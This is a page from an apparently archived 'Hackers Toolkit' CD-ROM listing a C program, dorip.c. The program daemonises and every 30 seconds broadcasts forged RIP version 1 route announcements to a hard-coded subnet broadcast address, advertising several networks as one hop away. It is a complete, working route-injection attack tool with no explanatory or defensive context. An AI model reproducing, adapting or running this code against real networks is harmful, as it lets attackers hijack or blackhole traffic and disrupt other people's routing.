home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hackers Toolkit v2.0
/
Hackers_Toolkit_v2.0.iso
/
HTML
/
archive
/
Udp
/
unix
/
dorip.c
next >
Wrap
C/C++ Source or Header
|
1999-11-04
|
2KB
|
77 lines
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
main()
{
struct ripheader {
char command;
char version;
short zero1;
long famzero; /* family plus zero, two shorts in one long */
long ip1;
long zero3;
long zero4;
long distance1;
long fam2, ip2, z5, z6, d2;
long fam3, ip3, z7, z8, d3;
long fam4, ip4, z9, z10, d4;
};
int childpid;
int sock;
struct sockaddr_in sockaddr; /* the setup socket for receiving */
struct sockaddr_in dest; /* send to broadcast */
int socklen = sizeof(struct sockaddr_in);
int on=1;
int onsize = sizeof(on);
struct ripheader header={2, 1, 0,
0x00020000, 0x83cc6a00, 0, 0, 1,
0x00020000, 0x83cc6b00, 0, 0, 1,
0x00020000, 0x83cc6c00, 0, 0, 1,
0x00020000, 0x83cc5b00, 0, 0, 1};
if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0 ) {
perror("can't get socket");
exit(-1);
}
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *) &on, onsize) < 0) {
perror("Couldn't set socket options");
exit(1);
}
sockaddr.sin_family = AF_INET;
sockaddr.sin_addr.s_addr = INADDR_ANY;
sockaddr.sin_port = htons(520);
if (bind(sock, (struct sockaddr *) &sockaddr, socklen) < 0) {
perror("couldn't bind socket");
exit(-3);
}
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr("131.204.46.255");
dest.sin_port = htons(520);
if ((childpid = fork()) < 0) {
printf("couldn't go to background");
exit(1);
} else if (childpid == 0) {
setsid();
while(1) {
sendto(sock, (char *) &header, sizeof(header), 0,
(struct sockaddr *) &dest, sizeof(dest));
sleep(30);
}
} else {
exit(0);
}
}